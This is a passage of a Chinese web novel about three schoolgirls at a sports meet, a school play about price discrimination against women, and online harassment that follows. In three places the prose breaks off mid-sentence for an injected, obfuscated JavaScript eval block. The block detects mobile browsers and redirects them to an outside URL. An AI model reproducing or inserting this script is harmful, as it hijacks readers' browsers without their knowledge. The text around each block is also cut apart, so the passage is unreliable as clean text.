如今她的身高正好是一米六，不会被别人当成小学生或初中生。她的皮肤没有很白，长相大概介于美和丑之间，她依然不懂得分辨。 舞蹈室里灯光明亮。 她额头上红红的青春痘能看得特别清楚，之前长过青春痘的地方还是红的，脸上还有不知道是痣还是斑的小点点。 这相貌是好看还是一般？ 崔皓月产生了好奇心。 网络上看到的美女总是又白又漂亮，脸上找不到一丁点瑕疵，所以她的长相应该一般？但网络上自称普通长相的照片，也是脸上没有瑕疵…… 因为发到网上的照片用了美颜？ 她不由得看向身边的同学。 两个好朋友都在。 晏北回的眉梢长着一颗黑色小痣，她觉得那颗小痣非常有特色，晏北回并不喜欢，说有钱了要去医院做激光去掉眉梢痣。 晏北回也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511827|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长痘痘，也有深色小点点。 而陆晨曦，外表是大家公认的好看，崔皓月同样在她脸上发现小点点和痘痘，她的容貌并非完美无瑕。 “怎么用这种眼神看我？”陆晨曦走过来，手放到崔皓月肩膀上，看着镜子说，“还是表演时的你有气势，让人一看就感叹见到高手了，不过你不表演也是个功夫少女，一般人惹不起。” “在看你的脸。”崔皓月说，“刚才我怀疑自己长得很丑。” “哈哈，怎么会这样想？” “脸上有斑斑点点。” “谁都有的，网上那些好看的脸，要么化妆，要么开了美颜。”陆晨曦瞬间领悟了好朋友的意思，“化妆和美颜能让人变好看，但我觉得人要接受真实的自己，没必要给自己套上一层漂亮的壳。” “那得去做医美，不化妆不美颜也能漂漂亮亮的。”晏北回打量着镜子里的人，忽然发出尖叫，“救命！我怎么比你俩都黑？本来我就长得不太好看，现在还怎么登台表演？” “黑啥黑，健康的小麦色皮肤，白人梦寐以求！”陆晨曦撇撇嘴，“有空容貌焦虑，不如想想学习成绩和口袋里的钱，那更实在。” “喂！不带这样打击人的！”晏北回当场炸毛，“我要是像你一样聪明好看还很有钱，我也能笑着面对生活！” “OK，给你打钱！”陆晨曦拿出手机，发了一个红包，“开心了没有？” 红包里只有二十块钱，但白得的，美哉！ “开心！”晏北回眉梢上扬，如同仆人般弯下腰，笑着说，“谢公主赏赐！” 在舞蹈室排练的效果到底不同于在教室将就，崔皓月通过镜子看到自己的表演，为【武道家】技能的强大而折服。 原来她这么帅，难怪大家爱看。 武道家的记忆和经验里没有为外表感到焦虑的内容，她想，武道家凭实力打服所有人，谁敢当面评价武道家的脸美不美？ 即便不美，武道家也是强大的武道家。 …… 四月，春季校运会兼文化节开始了。 可能是采纳陆晨曦的建议，晏北回并没有穿汉服参加开幕式入场，她穿着和两个好朋友一样的蓝白校服，待会儿还要参加运动比赛拿个好名次。 入场结束后是升旗仪式，接着领导发言，再然后是高二负责的团体操。等到比赛正式开始，已经是上午九点半，灿烂的阳光晒得人都热了。 晏北回报了铅球和跳高跳远，崔皓月报的是女子100米短跑和800米长跑，陆晨曦选择了200米和400米田径赛。 三人的比赛时间是错开的，任意一人参加比赛，另外两个好朋友都能到场鼓劲。 最先比赛的是女子100米短跑，崔皓月上场，有点紧张，心跳略快。 晏北回和陆晨曦一个在起跑点挥舞小旗子，喊着“皓月必胜”，一个拿着补充能量的饮料在终点等候。 陈若龙也在，拍了拍崔皓月的肩，笑道：“不要害怕，比赛的重点是参与，跑完全程就行了。” 崔皓月明白她的意思，低声说：“我要跑第一！” 陈若龙微微颔首：“期待你拿到冠军！” 比赛前，各位选手有模有样地进行热身运动，崔皓月热身完，感觉状态特别好。 她长高了，脚也大了些，系统送的运动服和运动鞋都显得小了，身上穿的是刚买不久的衣服鞋子，舒适程度略有不如。 但她有必胜的把握！ 毕竟她用100积分将【敏捷】提升到9点，实力一丁点都不弱！ 裁判一声令下，崔皓立刻冲了出去，如同一颗炮弹。 风在身边大声呼啸，她感觉到空气阻力，看到终点的陆晨曦朝她绽放笑容。 晨曦在等她！ 晨曦在鼓励她！ 崔皓月也扬起笑，充满向前的动力！ 跑啊跑，一百米距离迅速缩短，她抵达短跑终点，听到陆晨曦的欢呼：“赢了！” 然后，陆晨曦冲过来，用力地拥抱她。 身后传来晏北回的叫声：“哇啊！你赢了！皓月，你是第一名！” 快步赶过来的晏北回扑向两个小伙伴，和她们拥抱在一起：“让我们齐声说，我们是第一！3，2，1！” 三人笑着，齐声喊道：“我们是第一！耶~！” “咔嚓！” 陈若龙拿着照相机，精准地拍下了她们的快乐瞬间。 39.最迷人的她 比赛完立刻颁奖，听到舞台上的扩音喇叭念到自己的姓名，宣布自己是冠军，崔皓月笑得眼睛眯成一条缝，特别开心。 上学十二年，今天她第一次参加校园体育比赛，第一次拿到第一名！ 从前她为什么老是避开比赛，一心当观众？ 甚至连观众都不想当，自顾自地找个安静的地方待着，百无聊赖地等待校运会结束。 “来，擦擦汗。”晏北回拿着湿纸巾，温柔地把她的脸擦干净。 “来，我给你整理仪容。”陆晨曦笑嘻嘻地理了理她的头发，退后两步端详她，双手一拍，很满意，“完美！我们的冠军皓月，现在请上台领奖吧！” 边上的同学一起笑，簇拥着她来到舞台下方，目送她一步一步地走上去，站在最光荣的冠军位置，被授予奖牌。 刹那间，掌声如雷动。 拍得双手都疼了，晏北回仍在鼓掌，一边鼓掌一边迷恋地看着崔皓月获得的荣耀，发表看法：“什么叫风采？这就是风采！穿汉服只是让人觉得衣服好看，拿冠军才让人羡慕啊！” “那就提前祝你拿到冠军！”陆晨曦说，“我相信你能行！” “哈哈，我也想拿冠军，真能拿到就好了。”晏北回并无多少信心。 由始至终，她都认为自己是三人小团队里最平凡的那个。 无论是性格还是天赋，她都比不上两位好朋友。 可是，平凡的人更应该和优秀的人成为朋友！ 有道是，见贤思齐。 晏北回知道自己做到了这四个字，她的学习成绩比从前进步，她还让价格歧视她的歹毒资本家低头道歉，她难道不能感到骄傲吗？ 对，她应该骄傲！ 骄傲自己成为更优秀的人，骄傲自己有两位优秀的好朋友，她们给予她的认可正是她优秀的最佳证明！ 晏北回想通了，对陆晨曦说：“不管我能不能拿到冠军，我将会竭尽所能，全力以赴！” “本来你就应该这样想。”陆晨曦勾住她的肩膀，一起走向结束颁奖的崔皓月，一边跟她说话，“就算是我也没有百分百的把握拿到冠军，我只能保证自己会努力争取。” “你是不是不太看得起我？”晏北回忽然问。 陆晨曦一愣，笑了：“那是从前，现在不一样，至少我挺佩服你坚持起诉奸商的。即便你不坚持，我也不会觉得你软弱，毕竟你已经维护了你的权益。” “这么说，要是我抱怨几句奸商搞粉红税就没下文，你会看不起我。”晏北回认真地观察着陆晨曦的表情，试图看透好朋友的真实想法。 “倒是不一定。”陆晨曦大方地任她看，脸上露出她熟悉的笑。 从前晏北回最讨厌陆晨曦这种令人误会的笑容，将其称作虚伪高傲的假笑，当然她此时也对这种笑容喜欢不起来。 她忍不住说：“别这样笑，太假了，很讨厌。” “有吗？”陆晨曦笑意加深，笑容更灿烂更富有感染力，“这可是最迷人的笑！我对着镜子练过很久的，铁石心肠的人见了也得产生三分好感，你竟然讨厌？” “哼！还不是因为别人不知道你的性格有多恶劣！”晏北回不由自主地跟着她笑，假装生气地轻轻打了她一下，“没被你骗过，才会觉得你好！” 陆晨曦很得意：“我一直很好，我的朋友比你多很多，我是大家最喜欢的人！” 说的确实是事实，晏北回没反驳，说：“不一定的意思是很可能看不起，你对我咋这么苛刻？” 好朋友一直在衡量自己是否值得做朋友，她承认，她委屈。 都一起相处那么久了，她还没拿下陆晨曦的心！ 她真就那么不堪吗？ 陆晨曦解释：“因为我和你的感情始于相处，并非互相欣赏，互相认同，彼此的联系相对薄弱。北回，你也不想和一个时不时让你感到失望的人相处吧？” “你说话真的有点伤人。”晏北回抹掉眼角的泪花，心里好受了点，“你跟皓月说话也这么直接吗？” “不然呢？”陆晨曦反问她。 “我以为你会温柔点，皓月性格文静，看起来是比较敏感的人。”晏北回看向崔皓月，拿到冠军的同桌依然有些羞怯紧张。 若是她拿到冠军，她肯定大呼小叫，恨不得让所有人都知道她有多厉害。 陆晨曦也在看崔皓月，说：“皓月相对被动，把话说清楚，她便信了，不会多想。我倒是觉得你更敏感，我都跟你玩了这么久，你还问我是不是看不起你，我在你心里是那种一边看不起你一边跟你玩的人吗？” 晏北回：“……” 晏北回弱弱地表示：“万一是呢？” “滚！”陆晨曦马上翻脸。 晏北回嘻嘻一笑，硬是赖在陆晨曦身上：“才不！我是穷人，我就要傍富婆！”故意拿聊天截图里的话打趣好朋友，“小狗饿饿，富婆饭饭！” 陆晨曦也是会感到尴尬的，盯着她：“你是不是想失去我？想就直说，大可不必如此委婉。” “北回，晨曦。”崔皓月走过来，好奇地问，“你们在聊什么？” “在聊小狗饿饿，富婆饭饭！”晏北回抢先回答，对陆晨曦扮鬼脸，在陆晨曦动手前躲到崔皓月身后，“皓月，她要打我，速速护驾！” 比完女子一百米短跑，轮到男子一百米短跑。 三个好朋友喝着水，在树荫下旁观，点评男子组的相貌、气质，猜测谁会赢。 晏北回忽然说：“为什么女子组和男子组不一起比赛？” 边上有个女生说：“男生体能更好吧？要是第一名第二名第三名都是男生，颁奖仪式会不好看。” “有点道理。”晏北回点了点头，然后告诉女生，“我家皓月刚才跑了10秒72，破了学校的记录，厉害吧？” 能破纪录肯定是厉害的，女生迟疑着说：“也许男生跑得更快？” “谁更快，可以去看。”陆晨曦招呼女生，“我们一起过去，我得看看有谁能比我的冠军好朋友还厉害。” 女生不是很情愿，但她也想知道崔皓月的记录别人能不能破，女生是不是真的比男生跑得慢。 百米赛跑也就一会儿的事，裁判念出第一名的成绩：“11秒23！不错啊！” 晏北回一听便笑了，小声嘀咕：“没有皓月快！皓月才是冠军！” 女生惊奇地看着崔皓月，忍不住问：“你是体育生？” 崔皓月否认：“不是，我只是每天和朋友晨跑。” “你好厉害啊！”女生赞叹道，“我可以叫你学姐吗？你叫什么名字？我想认识你！” “你是高一还是高二的？我叫崔皓月。” “崔皓月？是高三那个会武功的崔皓月吗？”女生兴奋起来，拿出手机，“你好优秀！我能不能加你们好友？” 到了食堂开饭的时候，女生才恋恋不舍地和三位学姐分开。 三个好朋友互相看了看，都笑起来。 晏北回说：“要是她知道晨曦是食堂老板的宝贝女儿，会更震惊吧？哈哈哈，我都有点想告诉她了，要是晨曦愿意的话。” 陆晨曦并不想出风头：“算了吧。” 下午是女子组20 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14524123|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0米赛跑，晏北回和跑来看热闹的女生在终点等待，崔皓月和陈若龙在起跑点给陆晨曦当啦啦队。 尽管陆晨曦没有说什么，可崔皓月看得出，陆晨曦对冠军表现出势在必得的态度，准备得相当认真。 陆晨曦是相当自信的，性格争强好胜。 这个学期的第一次月考便是例子，她说着让一下别人，成绩却没有让一丁点，总分全班排名第一，年级排名也是第一。 崔皓月看着她起跑，一马当先，眨眼间便甩了第二名一段距离，自然而然地觉得冠军是她的囊中之物。 结果正是如此，陆晨曦夺得第一。 没有意外。 在陆晨曦上台领奖时，陈若龙拿了两束鲜花塞给崔皓月和晏北回，笑着说：“这是晨曦妈妈特地定的花，请你们代她送给晨曦。” “哇！”晏北回又惊又喜，羡慕地说，“晨曦妈妈好爱她！” 她做梦都想不到，陆妈妈会给陆晨曦送花。 难道陆妈妈早就预见女儿赢得冠军？ 都是做妈妈的，她的妈妈知道她参加运动比赛，只发来一句话：“不影响你学习吧？” 让人扫兴。 不过，晏北回真心为陆晨曦高兴。 在颁奖结束后，她和崔皓月急忙上台，在所有人的注目下给陆晨曦送花。 一瞬间，所有人都变成羡慕陆晨曦的柠檬精。 陆晨曦高兴地接过两束鲜花，跟两个好朋友走下颁奖台，笑得甜蜜蜜：“我妈，从来都知道怎么做最讨我喜欢！我决定原谅她不来观看我比赛！” 花是最好的，香喷喷，花瓣上带着露珠。 陆晨曦闻了闻香味，一人一束花送给两位好朋友：“我高兴，让你们也高兴高兴！嘻嘻，你们想不到吧，人生收到的第一束花，是我陆晨曦送给你们哒！” 美丽的一捧花被塞到怀里，沉甸甸的，崔皓月哪里见过如此阵仗？她被突然而来的浪漫击中心灵，楞在当场，笑得傻傻的。 晏北回的表现跟她差不了多少，僵硬地接过花，整个人变得晕乎乎：“不是，你妈妈特地送给你的鲜花，你转手送我？” “怎么？你嫌弃？”陆晨曦睥睨她，霸道总裁味十足。 “当然不！我超级喜欢！”晏北回的声音都甜腻了起来，娇娇地说，“晨曦！你是全世界最好的晨曦！我好爱你，我愿意为你弯成蚊香！” 陆晨曦当即退后三尺，严肃拒绝：“抱歉，我只能把你当成朋友。” 晏北回哈哈笑。 崔皓月也非常喜欢陆晨曦送给自己的花，她知道陆晨曦收到花的心情了。陆晨曦分享喜悦给她，她非常感动，终于体验到“感动得热泪盈眶”是一种怎样的滋味。 “被我感动哭了吗？”陆晨曦手忙脚乱地拿出纸巾给好朋友，“这才哪跟哪啊！以后多的是你感动的时候，你这样会让我想搞点惊喜捉弄你的！” 小学妹站在一边，羡慕得不知说什么。 不管是三人之间深厚的友情，还是水灵灵的鲜花，都像电视剧里演的一样梦幻。 忽然好想要个知心朋友，用不着做送花这种事，平时一起玩她就很满足了。 看到小学妹孤零零的，晏北回于心不忍，抽了一支鲜艳的玫瑰花递给小学妹：“拿着，花送给你！” 小学妹一惊，晏北回看着她的表情从羡慕变成惊喜，更加高兴了。 难怪陆晨曦要送花，看到收到花的人高兴，自己也高兴啊！ 好朋友送了小学妹一朵红玫瑰，崔皓月也不吝啬，问小学妹：“喜欢什么花？挑个喜欢的，我送给你。” 40.咱仨，做职业女性！ 喜悦应该分享，两束花拆成一支支花，崔皓月和晏北回把它们分给舍友们、女同学们。于是宿舍充满花香，大家用各种容器安置鲜花，给容器加水，希望花开得更长久。 校运会的第一天完美结束，天黑后晚会开始，高一到高三的同学整齐有序地搬着自己的椅子到广场上观看晚会。 由于陆晨曦有主持晚会的经验，老师邀请她当主持，但她拒绝了。当过一次主持，她对主持节目失去好奇心，更乐意当舞台下悠闲的观众。 第二天上午举行女子400米赛跑，陆晨曦没能拿第一，拿到第二名。 战胜了她，同年级的体育生同学终于找回自信，感觉体育训练没有白做。 专门练田径的竟然比不过一心学习的普通学生，属实丢脸。 400米之后是800米，这位夺冠的体育生同学也报名参考了，见到崔皓月登场，立刻产生了危机感。 不是吧，这位破了学校纪录的短跑冠军要跟她争夺800米冠军？ 要是输给对方，自己作为体育生的尊严岂不是遭到打击？ 在场的体育老师也免不得多看崔皓月几眼，没训练过都能在百米短跑中取得10秒72的成绩，要是训练了那还得了？ 可惜这位学生成绩优秀，没法要过来当体育特长生。 考虑到体育生的成绩关系到自己的职业素质，体育老师看向体育生们：“都给我好好跑！跑不好训练加倍！” 顿时，体育生们感到沉重的压力，哀怨的目光投向崔皓月，希望她腿下留情。 已经拿过一次冠军的崔皓月参加800米长跑，心态良好。 她打开系统的属性信息面板，看了下数据。 【使用者：崔皓月】 【性别：女】 【力量：10（↑2）】 【敏捷：9（↑3）】 【体质：10（↑3）】 【智力：10（↑2）】 【技能：蚊子不想咬你LV1、武道家LV2】 【道具：无】 【背包（4格）：一捆卡、手机、一叠纸钞、一包月经用品】 【商店：待解锁】 【金钱：20100元（展开折叠）】 【积分：50】 【人生事件：参加高考】 【生活事件：⑴月经（略）；⑵晨跑（略）；⑶吃饭（略）】 【特殊事件：无】 积分具有和金钱不一样的性质，崔皓月不仅用积分提升【武道家】技能，还用400积分将智力、敏捷、体质、力量各增加1点，在100米短跑中取得10秒72的成绩并非全靠自己努力。 现在【武道家】技能提升到LV3需要5000积分，增加智力等属性也要300积分，她盼着多发现一些奖励积分的特殊事件，奈何系统没有反应。 长跑即将开始，崔皓月做热身运动。 察觉竞争对手在关注自己，她礼貌地对她们笑了笑，认出几张熟面孔。 每天晨跑的学生不止她和陆晨曦，还有一些刻苦的体育生，她和她们讲过话。 体育生们有时也去操场上玩，她跟一些人一起打过篮球，踢过足球，也打过羽毛球、乒乓球，一起跳过绳，彼此间还算熟悉。 “皓月，实话告诉我，你有夺冠的把握吗？”一位体育生走过来悄悄问她。 “不清楚，我只能对你说，我会很努力。”崔皓月说。 “行，我也会拿出我应有的水平，跟你争个输赢！”体育生回到原来的位置，元气满满。 比赛开始了。 因800米长跑要保持体力，崔皓月没用尽全力，居于第二。跑第一的比她快两三米，跑第三的正紧紧追着她，其余落后的选手连忙发力。 跑道两侧，晏北回、陆晨曦等人挥舞小旗子，给崔皓月加油。 400米的跑道，第一圈很快跑完了，崔皓月落到第三，原先的第一变成第二，现在的第一是原先的第三，领先三四米。崔皓月听到第一的喘气声，她加快了脚步，赶上第二。 第二瞟了她一眼，也加快速度。 二人你追我赶，把体力消耗过多的第一变成第三。 第二圈过半，崔皓月发力了，要争夺第一。她的竞争对手们跟着发力，大喇叭里解说的声音变得激昂，终点上，晏北回和陆晨曦正在用力地朝她挥旗。 她们在期待她夺冠！ 崔皓月全力奔向终点，感觉到肺部有点难受。 终点近了，越来越近了！ 她跑了过去！ 结束了！ 好朋友们同学们纷纷拿着水和湿纸巾上前，难掩兴奋情绪：“冠军！皓月，你是冠军！你一个人拿两个冠军，你好厉害！” 崔皓月累得靠在晏北回身上，张开嘴呼呼喘气，听到大家的恭喜，她转头望向竞争对手们。 那位问她有无夺冠把握的体育生，眼神幽怨地望着她，仿佛被她骗了感情骗了钱。 崔皓月不好意思地笑了笑，有点儿心虚。 若非系统加点，冠军估计是这位体育生拿下。 但系统也属于她实力的一部分，她总不能守着宝山枯坐吧？ 再次领奖，轻车熟路。 冠军奖牌是金色的，学校当然出不起那个钱做真金奖牌，但奖牌很好看，金灿灿的，崔皓月要把两枚冠军奖牌好好地保存起来。 对于她来说，参加的项目都参加完了，本次校运会便算是结束了。 不过，晏北回报名的铅球和跳高跳远这三个项目还没有进行，她得去给好朋友加油鼓劲当啦啦队。 扔铅球比赛在下午进行，看了看两位冠军好朋友，晏北回心里难免有些犯怵。 自己不拿个冠军，好像不行。 可冠军是那么好拿的吗？有点后悔报名参加运动项目了。 崔皓月和陆晨曦都看出她的忐忑，二人对视了一眼，陆晨曦安慰道：“北回，记得你说的话，竭尽所能，全力以赴！” “我知道……”晏北回苦着脸，“我感觉我很难拿冠军，你们可能不懂我的心情，我有些害怕，越怕越紧张……” “相信我和皓月，相信你，你是最优秀的！”陆晨曦拍了拍她的肩，“不要觉得自己不行，你上你肯定行！” “北回，我大概懂你。”崔皓月握住好朋友的手，“从前我也觉得自己不行，可是我勇敢地做了我想做的事，我就变得更好，越来越好！你也一样！” 晏北回没有被说服，只是两位优秀的好朋友鼓励她，她依然从中汲取到力量。 她们在乎她，真心接纳她，就算她不够优秀，她们也是朋友。 陆晨曦看不起的，是软弱的人，不是拿不到冠军的人。 比赛现场，晏北回将沉甸甸的铅球用力地扔出去，然后等待成绩公布。 第三名，不是冠军，也不是亚军，但不差。 陆晨曦跑400米也没拿到冠军，不是吗？ 晏北回看了一眼陆晨曦，忍不住笑了：“我们仨集齐冠军亚军季军，很有实力了。” “庆祝一下？”陆晨曦提议。 “吃啥？”崔皓月问。 “吃个小蛋糕，食堂卖的便宜好吃。”晏北回说，“冠军请客，我要白吃！” “好，我请！”崔皓月掏出饭卡，拉着两个好朋友去食堂买小蛋糕。 校运会举行期间，食堂会在非饭点卖一些好吃的食物，小丸子、炖萝卜、小蛋糕、糖水，很受学生们欢迎。 吃完美味的小蛋糕，跳高比赛开始了。 也许是甜食抚慰了情绪，晏北回超常发挥，取得第二名。领奖时她忍不住看陆晨曦，想到优秀的好朋友也是亚军，不由得嘿嘿笑。 陆晨曦：“……” 陆晨曦小声地跟崔皓月说：“看她乐的，我就不告诉她我再比一次能拿冠军了。” 崔皓月也笑，提醒好朋友：“可是比赛只能比一次。” 跳远在第三天，晏北回表现一般，拿了第五名，有些失落但不多。毕竟她凭实力在跳高中拿到第二名，她很满意这个成绩。 到了下午，运动比赛基本结束，校运会迎来了闭幕式。 这天晚上的晚会也终于轮到崔皓月、晏北回和陆晨曦所在班级的戏剧上演，除了上过舞台的陆晨曦，大家都很紧张。 台下那么多人看着，舞台上表演出错了可怎么办？ 大家抓紧时间排练一次，效果还可以，只有崔皓月由于【武道家】技能的使用限制没有参加排练。 但大家对她非常放心，当她穿上太极服，拿着长棍，她绝对是帅气的武林高手。 戏剧被安排在晚会中期，台下的观众挺无聊，听到主持人说戏剧根据真人真事改编而来，才提起一点儿兴趣。 小学妹和班里的同学坐在一起，见到学姐们的节目登场了，赶紧告诉同学：“那位学姐买羽绒服遇到价格歧视，起诉了羽绒服商家，商家公开道歉了！她超厉害的！” 同学们惊讶：“真的？” 小学妹拍着胸脯保证是真的：“那家羽绒服店就在x街，咱们都要避雷！” 戏剧确实不错，有故事性。 当崔皓月穿着太极服拿着长棍上场，大家还疑惑，这是要干嘛？走错片场了？ 下一刻，人们便见到崔皓月把手中长棍耍得花样百出，帅气无比。而表演奸商的陆晨曦吓得连连后退，指着崔皓月直呼惹不起，大家便一边鼓掌一边笑。 最终，奸商认错道歉，戏剧结束。 所有演员共聚舞台，晏北回紧张得不行，把麦递给陆晨曦。 陆晨曦笑了笑，把麦推回去，用眼神鼓励她：你能行！ 晏北回求助崔皓月，崔皓月轻声说：“别怕，北回，说出你的经历。” 好吧，说就说！ 晏北回自暴自弃，垂着眼不敢看观众，有些结巴地开口讲述自己购买羽绒服发现被割粉红税，决定维护权益的过程，越说她越流利。 讲到最后，她抬起头看向下方黑压压的观众们，宣布道：“我不撤诉！我要让歧视我的商家知道，我不好惹！女人不好惹！敢割粉红税就得付出代价！” 观众们为她鼓掌，她红着脸，跟同学们下台， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14538867|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里美滋滋的，对着那么多人说话也不难嘛。 不知是谁拍了视频上传到网上，崔皓月的表演火了，晏北回的陈述也火了。 崔皓月耍长棍，网友们纷纷喊被帅到了。 有人以为她是男性，因为她短发。得知她的女性身份后，他们质疑她的实力，说长棍在手谁都能耍，又有人说她长得难看，嘲笑她以后嫁不出去。 晏北回谈粉红税遭到男网友们鄙夷，女网友纷纷发言维护，双方吵得腥风血雨。唯独羽绒服品牌全网出名，喜提热度，有人骂也有人支持。 看完评论区恶言，正在奶茶店庆祝的三个好朋友同时陷入沉默。 良久，陆晨曦一拍桌子：“有些网友真的很讨厌，让人恨不得把他揪出来暴打一顿！” “粉红税应该改名叫女人税！我正经维权的还那么多人骂我，他们都是奸商花钱买的水军？”晏北回感到委屈，“我只是想要商家的平等对待，我招谁惹谁了？一样的价钱，羽绒服充绒量更少就是错！他们不让我说，我非要说！” 【武道家】奈何不了坏心的网友，崔皓月提出问题：“这样的事情应该怎么解决？我们要朝什么方向努力才能避免类似的事发生？” 晏北回说：“钱，可以买水军，买热搜，可以让视频网站删除视频。” 陆晨曦摇摇头：“嘲笑的未必是水军，更可能是一个个真人。有的人很恶毒，想法跟商家一样，认为女人不配用好东西，女人用的东西必须卖得更贵。” “工商局不管吗？”晏北回有些绝望了，“我是女的，我买衣服活该吃亏？全世界一半的人都是女的啊！” “政府的工作人员也是人，是人就会有偏见。”陆晨曦露出讥诮的表情，“你看那些能管事的人，几个是女的？人家性别高贵，生下来便不会被女人税割钱，你说他们是看戏还是管这事？” “那我考公务员我来管？”晏北回气恼，“搞女人税的商家都应该死！维护这种商家的垃圾人都应该拉出去毙了！” “你适合当公务员吗？”陆晨曦冷静地说，“你不适合，我来吧。” 晏北回看着她，泪珠子掉了下来：“你难道适合？你想当吗？你班长都不爱当，连班干部也不愿意当，你那么优秀，该去从事你想从事的行业！或者做个天天享乐的富二代，过无忧无虑的生活！” “享乐就能免疫女人税的收割？”陆晨曦叹气，“班长、班干部我全都做过，高三不想做而已。我没什么想从事的行业，考公务员是个不偏不倚的选择，我可以做一个严惩不良商家的法官，也可以做一个专门收拾恶毒网友的正义网警，我觉得挺有意思。” “我……我要给你当小妹！”晏北回吸了吸堵塞的鼻子，恶毒网友属实让她破大防，她信任陆晨曦，“我们一起考公！一起改变这个讨厌的世界！” 理想很伟大，陆晨曦却没有报以多少希望。 陆妈妈、姨姨、陈若龙、警察女士，都是她认识的职业女性，她们的事业都因为性别受到不同程度的阻碍。 世界如同湍急的大河，所有的职业女性逆流而上。 一旦她们放松，便会被潮流裹挟着进入家庭，变成妻子，被大众要求辅助丈夫，变成母亲，被大众要求照顾孩子。 人的精力就那么点，分给家庭，分给丈夫，分给孩子之后，还能有多少精力发展自己的事业？追逐自己的理想？实现自己的抱负？ 所以，陆妈妈没有再婚，没有再生孩子。 为了事业，她雇佣阿姨照顾陆晨曦。 现在，陆晨曦决定走上妈妈、姨姨等母辈正在走的路，做一位职业女性。 她不知道晏北回在知道这条路的艰难后能否坚持，也没说什么打击晏北回自信心的话，问沉思的崔皓月：“你怎么想？” 崔皓月注视着她：“晨曦，我觉得你应该经商。” 陆晨曦笑了：“经商压力也大啊，我妈有钱，你猜得到他们怎么说我妈的吧？钱不是我妈凭本事赚的，是傍男人当小三得来的，男老板见了我妈就暗示床上聊，把我妈恶心坏了。” 不管女人从事什么行业，但凡女人做出点成就，男人都觉得是女人出卖色相讨来的。 似乎女人只要讨一讨，男人便会傻傻地把整个世界送给女人。 他们那样大方。 仿佛约会要求AA的不是他们，分手后要求女方报销恋爱期间所有花费的不是他们，孩子冠姓权牢牢捏在手里的也不是他们。 “皓月，你的性格很认真，无论是从政还是从商，你都不适合。”陆晨曦分析道，“要不你做科研？我让我妈投资你，你安心搞研究，做个干家务的保姆机器人出来？不，这有点难！还是做个全自动洗头机比较简单，或者你研究一门简单易学适合女人的功夫……” 陡然间，她的眼睛变得非常明亮，抓住崔皓月的肩膀，说：“功夫可以！功夫真的可以！皓月，我很需要简单易学适合我的功夫！” 崔皓月皱起眉头，从口袋里掏出一本书递给她：“看看？” 书有点厚，封面上写着书名，正是完成事件后系统奖励的《武道家入门基础》。 41.自卑的她 还真有功夫？陆晨曦狐疑地瞅了瞅好朋友，翻开《武道家入门基础》。 书上画着摆出各种动作的女性小人，每个动作下有详细解释，确实是一本严肃认真的习武入门书籍。 晏北回凑过来看，边看边问：“你的功夫是在书上学的？功夫能短期速成吗？” “不能，要练，要经常练。”抛开技能，崔皓月真实的武道水平距离入门还远得很，“这本书写的内容都很实用，我希望你们学几招。” “学了也很难达到你那种程度吧？而且，咱们还得高考，不能分心。”晏北回对新事物怀着抵触心理，“大多数人性格平和，也就我们运气不好，才会遇到李金元这种罪犯。” 她对枯燥的武道入门基础失去兴趣，喝了一口奶茶，却想到动手打人被制服的周建康，又想到打得进医院的张浩文和黄鑫，不由得看向入门基础。 如果自己实力强悍，能一拳撂倒一个臭男生，用得着怕这怕那？ 崔皓月是真的会功夫，陆晨曦学过跆拳道，就自己一个不会打架，似乎有点…… 晏北回改变主意：“暑假再学功夫，应该不迟。” 她希望同桌教自己习武，转念考虑到同桌的家庭，不好意思直接开口，问了一句：“皓月暑假去不去打工？” “我想去，但是陆阿姨资助我上大学，让我别去打暑假工。” 崔皓月已经和陆妈妈谈过了。 陆妈妈感激她救了陆晨曦，资助她不求回报，大学的生活费、伙食费等费用都会按照陆晨曦的标准给她。 她只需专心读书，无需考虑钱。 甚至，陆妈妈送了她一座新房子，三室一厅一厨一卫，面积一百二十平，问她喜欢什么风格，要帮她装修得漂漂亮亮。 这是崔皓月做梦都想不到的，还没工作，还没成年，她就拥有一座属于自己的房子！ 还是县城的新房子，菜市场在附近，公园、超市、街道距离不远，打开窗便能看到陆晨曦的家。 太过梦幻了。 忽然拥有自己的房子，到现在崔皓月都有种没睡醒的感觉。 她从来不觉得自己有恩于陆晨曦，陆妈妈却如此慷慨地报答她，直接给她办理新房子的过户手续，在房产证上写她的姓名，让她成为房子唯一的户主。 陆妈妈说：“你也知道，我做的是房地产生意，我不缺房子。给你的房子，你安心收下，住也好卖也好，房子归你了，随你处置。” 崔皓月受之有愧：“陆阿姨，我——” “你不用说，我什么都知道。”陆妈妈摆手，“选好装修，喜欢什么家具、电器，告诉我的秘书王临，她会为你安排妥当。房子是你的，你得为自己的房子考虑，明白吗？” 面对如此强势的陆妈妈，崔皓月还能说什么？ 